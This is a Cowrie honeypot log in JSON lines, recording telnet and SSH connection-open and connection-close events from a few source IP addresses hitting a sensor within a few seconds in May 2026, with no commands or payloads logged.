{"eventid":"cowrie.session.closed","duration":31.008946657180786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.197592Z","src_ip":"51.161.172.108","session":"ae0a0755cb85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.185638904571533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.292609Z","src_ip":"51.161.172.108","session":"57bf0d7a5a0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.362077236175537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.404350Z","src_ip":"45.10.154.244","session":"5203e5ca7638","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64628267288208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.461770Z","src_ip":"51.161.172.108","session":"0bbc3a3b5269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.831540822982788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.561413Z","src_ip":"51.161.172.108","session":"e092dbba5bb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":47974,"dst_ip":"159.203.135.109","dst_port":23,"session":"50a50bf00ccf","protocol":"telnet","message":"New connection: 185.26.126.47:47974 (159.203.135.109:23) [session: 50a50bf00ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.586958Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49568,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c90f57d51eb","protocol":"telnet","message":"New connection: 51.161.172.108:49568 (159.203.135.109:23) [session: 5c90f57d51eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.608065Z"}
{"eventid":"cowrie.session.closed","duration":31.119492292404175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.612368Z","src_ip":"51.161.172.108","session":"864ca2428021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870808124542236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:53.653887Z","src_ip":"51.161.172.108","session":"8c54c0fb351f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851042985916138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:54.159075Z","src_ip":"51.161.172.108","session":"9dac1084d89f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015243768692017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:54.172248Z","src_ip":"51.161.172.108","session":"f26c7e83d139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.167897939682007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:54.205908Z","src_ip":"51.161.172.108","session":"0e4d90545bdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109745025634766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:54.312258Z","src_ip":"51.161.172.108","session":"eba293d2cb5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49702,"dst_ip":"159.203.135.109","dst_port":23,"session":"66f722eb8480","protocol":"telnet","message":"New connection: 51.161.172.108:49702 (159.203.135.109:23) [session: 66f722eb8480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:54.317561Z"}
{"eventid":"cowrie.session.closed","duration":31.115774154663086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:54.492379Z","src_ip":"51.161.172.108","session":"fb4cb0aa74c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49552,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a6881ecdac5","protocol":"telnet","message":"New connection: 51.161.172.108:49552 (159.203.135.109:23) [session: 3a6881ecdac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:54.572220Z"}
{"eventid":"cowrie.session.closed","duration":31.56783962249756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:54.576460Z","src_ip":"51.161.172.108","session":"3837a4363a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49746,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2daf5a1b5a3","protocol":"telnet","message":"New connection: 51.161.172.108:49746 (159.203.135.109:23) [session: c2daf5a1b5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:54.773304Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49856,"dst_ip":"159.203.135.109","dst_port":23,"session":"eedca45ec249","protocol":"telnet","message":"New connection: 51.161.172.108:49856 (159.203.135.109:23) [session: eedca45ec249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:55.320842Z"}
{"eventid":"cowrie.session.closed","duration":31.431984424591064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:55.648762Z","src_ip":"51.161.172.108","session":"3c8706f96879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.722044944763184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:55.713740Z","src_ip":"51.161.172.108","session":"5f16f0404ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.867180347442627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:55.845562Z","src_ip":"51.161.172.108","session":"980f95fbf674","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49946,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c78ab012b80","protocol":"telnet","message":"New connection: 51.161.172.108:49946 (159.203.135.109:23) [session: 8c78ab012b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:55.931333Z"}
{"eventid":"cowrie.session.closed","duration":32.11810922622681,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:55.943660Z","src_ip":"51.161.172.108","session":"0b173571c793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.458349466323853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:56.083191Z","src_ip":"51.161.172.108","session":"c3f4067fcff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47118,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ef057379f8","protocol":"telnet","message":"New connection: 45.10.154.244:47118 (10.17.0.5:23) [session: a8ef057379f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:56.116161Z"}
{"eventid":"cowrie.session.closed","duration":30.99148964881897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:56.156231Z","src_ip":"51.161.172.108","session":"e060f4ad081c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745216369628906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:56.296464Z","src_ip":"51.161.172.108","session":"ab7c916d2696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49978,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a14935e2926","protocol":"telnet","message":"New connection: 51.161.172.108:49978 (159.203.135.109:23) [session: 7a14935e2926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:56.351772Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48208,"dst_ip":"10.17.0.5","dst_port":23,"session":"8be25ee33d71","protocol":"telnet","message":"New connection: 45.10.154.244:48208 (10.17.0.5:23) [session: 8be25ee33d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:56.393363Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49872,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f764596acac","protocol":"telnet","message":"New connection: 51.161.172.108:49872 (159.203.135.109:23) [session: 7f764596acac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:56.399637Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":49718,"dst_ip":"159.203.135.109","dst_port":23,"session":"68bacf5898ec","protocol":"telnet","message":"New connection: 51.161.172.108:49718 (159.203.135.109:23) [session: 68bacf5898ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:56.597685Z"}
{"eventid":"cowrie.session.closed","duration":31.81053638458252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:56.696505Z","src_ip":"51.161.172.108","session":"e99d8a516f02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.864678144454956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.043710Z","src_ip":"51.161.172.108","session":"e7b5690a5cd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29208278656006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.066199Z","src_ip":"45.10.154.244","session":"1289fa489e7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50114,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b84849c971f","protocol":"telnet","message":"New connection: 51.161.172.108:50114 (159.203.135.109:23) [session: 7b84849c971f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.108060Z"}
{"eventid":"cowrie.session.closed","duration":30.270872831344604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.146707Z","src_ip":"34.69.118.1","session":"ccccba9aa327","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30764365196228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.183793Z","src_ip":"51.161.172.108","session":"b3e8bc2703fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50170,"dst_ip":"159.203.135.109","dst_port":23,"session":"e16924cfe02f","protocol":"telnet","message":"New connection: 51.161.172.108:50170 (159.203.135.109:23) [session: e16924cfe02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.270358Z"}
{"eventid":"cowrie.session.closed","duration":31.484737396240234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.376979Z","src_ip":"51.161.172.108","session":"a8ae3fe0b6a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.505260229110718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.487717Z","src_ip":"51.161.172.108","session":"a74dbe58cab6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57906413078308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.493170Z","src_ip":"51.161.172.108","session":"4f3586f2ac36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808807849884033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.542594Z","src_ip":"51.161.172.108","session":"90089ad3a5f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50250,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f4363d6cb07","protocol":"telnet","message":"New connection: 51.161.172.108:50250 (159.203.135.109:23) [session: 6f4363d6cb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.771666Z"}
{"eventid":"cowrie.session.closed","duration":31.62953805923462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.825490Z","src_ip":"51.161.172.108","session":"748bd22e3db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191001653671265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.863033Z","src_ip":"51.161.172.108","session":"1d594ba700b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.737508296966553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:57.964833Z","src_ip":"51.161.172.108","session":"fe917f07ca01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50096,"dst_ip":"159.203.135.109","dst_port":23,"session":"a33c888e2968","protocol":"telnet","message":"New connection: 51.161.172.108:50096 (159.203.135.109:23) [session: a33c888e2968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:58.038172Z"}
{"eventid":"cowrie.session.closed","duration":30.771110773086548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:58.056867Z","src_ip":"45.10.154.244","session":"4e56656cc0b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50154,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d191ab0608d","protocol":"telnet","message":"New connection: 51.161.172.108:50154 (159.203.135.109:23) [session: 8d191ab0608d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:58.354402Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50244,"dst_ip":"159.203.135.109","dst_port":23,"session":"00c1063fbb13","protocol":"telnet","message":"New connection: 51.161.172.108:50244 (159.203.135.109:23) [session: 00c1063fbb13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:58.706521Z"}
{"eventid":"cowrie.session.closed","duration":31.299339294433594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:59.091086Z","src_ip":"51.161.172.108","session":"9e4ae9c8d20c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.088546991348267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:59.096739Z","src_ip":"45.10.154.244","session":"9bcdc412b635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8307523727417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:59.409965Z","src_ip":"45.10.154.244","session":"880f0ac85ccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42462,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae4c7f6aa9c4","protocol":"ssh","message":"New connection: 122.168.114.167:42462 (159.203.135.109:22) [session: ae4c7f6aa9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:59.449881Z"}
{"eventid":"cowrie.session.closed","duration":31.40687894821167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:59.479764Z","src_ip":"51.161.172.108","session":"762bfaa18142","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51598,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b4df7e67a7","protocol":"telnet","message":"New connection: 51.161.172.108:51598 (159.203.135.109:23) [session: d3b4df7e67a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:59.697364Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51594,"dst_ip":"159.203.135.109","dst_port":23,"session":"3262e2b60ad1","protocol":"telnet","message":"New connection: 51.161.172.108:51594 (159.203.135.109:23) [session: 3262e2b60ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:59.715034Z"}
{"eventid":"cowrie.session.closed","duration":31.397966861724854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:59.763242Z","src_ip":"51.161.172.108","session":"28c02b271a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888627767562866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:00.100613Z","src_ip":"45.10.154.244","session":"2c97f3b3adeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.837096691131592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:00.144621Z","src_ip":"51.161.172.108","session":"58b438099c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51622,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11a2e639dc4","protocol":"telnet","message":"New connection: 51.161.172.108:51622 (159.203.135.109:23) [session: e11a2e639dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:00.261297Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51638,"dst_ip":"159.203.135.109","dst_port":23,"session":"06a9ab84e593","protocol":"telnet","message":"New connection: 51.161.172.108:51638 (159.203.135.109:23) [session: 06a9ab84e593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:00.544871Z"}
{"eventid":"cowrie.session.closed","duration":31.90596628189087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:00.699450Z","src_ip":"51.161.172.108","session":"17a7021ff5eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.801142930984497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:00.783902Z","src_ip":"51.161.172.108","session":"101f19c163d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51646,"dst_ip":"159.203.135.109","dst_port":23,"session":"316303f6b153","protocol":"telnet","message":"New connection: 51.161.172.108:51646 (159.203.135.109:23) [session: 316303f6b153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:00.857764Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51642,"dst_ip":"159.203.135.109","dst_port":23,"session":"60f17e99979f","protocol":"telnet","message":"New connection: 51.161.172.108:51642 (159.203.135.109:23) [session: 60f17e99979f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:00.945990Z"}
{"eventid":"cowrie.session.closed","duration":30.862006664276123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:01.070426Z","src_ip":"45.10.154.244","session":"8a3dc6800479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51612,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0da6bc6ef8","protocol":"telnet","message":"New connection: 51.161.172.108:51612 (159.203.135.109:23) [session: cc0da6bc6ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:01.138047Z"}
{"eventid":"cowrie.session.closed","duration":30.927984714508057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:01.219128Z","src_ip":"51.161.172.108","session":"1e4b90c2c288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51660,"dst_ip":"159.203.135.109","dst_port":23,"session":"11ab95656b14","protocol":"telnet","message":"New connection: 51.161.172.108:51660 (159.203.135.109:23) [session: 11ab95656b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:01.230850Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":37038,"dst_ip":"10.17.0.5","dst_port":23,"session":"3118aef7bd39","protocol":"telnet","message":"New connection: 45.10.154.244:37038 (10.17.0.5:23) [session: 3118aef7bd39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:01.317461Z"}
{"eventid":"cowrie.session.closed","duration":30.98595929145813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:01.471840Z","src_ip":"51.161.172.108","session":"6b0d17e81024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.81493854522705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:01.702978Z","src_ip":"51.161.172.108","session":"d96a16c02328","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51674,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a24033942e5","protocol":"telnet","message":"New connection: 51.161.172.108:51674 (159.203.135.109:23) [session: 7a24033942e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:01.895952Z"}
{"eventid":"cowrie.session.closed","duration":32.32410001754761,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:01.982298Z","src_ip":"51.161.172.108","session":"36b465218e48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51678,"dst_ip":"159.203.135.109","dst_port":23,"session":"58a5f02ae344","protocol":"telnet","message":"New connection: 51.161.172.108:51678 (159.203.135.109:23) [session: 58a5f02ae344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:01.996532Z"}
{"eventid":"cowrie.session.closed","duration":30.975516319274902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:02.364670Z","src_ip":"51.161.172.108","session":"28844a3dd196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51686,"dst_ip":"159.203.135.109","dst_port":23,"session":"48a2683a5ec3","protocol":"telnet","message":"New connection: 51.161.172.108:51686 (159.203.135.109:23) [session: 48a2683a5ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:02.458256Z"}
{"eventid":"cowrie.session.closed","duration":31.846720457077026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:02.700286Z","src_ip":"51.161.172.108","session":"4051bf7fd812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51690,"dst_ip":"159.203.135.109","dst_port":23,"session":"c80b8c18ba10","protocol":"telnet","message":"New connection: 51.161.172.108:51690 (159.203.135.109:23) [session: c80b8c18ba10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:02.708440Z"}
{"eventid":"cowrie.session.closed","duration":31.769763231277466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:02.832509Z","src_ip":"51.161.172.108","session":"5ce8241c8709","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51694,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7dfdcb8da24","protocol":"telnet","message":"New connection: 51.161.172.108:51694 (159.203.135.109:23) [session: b7dfdcb8da24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:03.066113Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51696,"dst_ip":"159.203.135.109","dst_port":23,"session":"f44739433f66","protocol":"telnet","message":"New connection: 51.161.172.108:51696 (159.203.135.109:23) [session: f44739433f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:03.086981Z"}
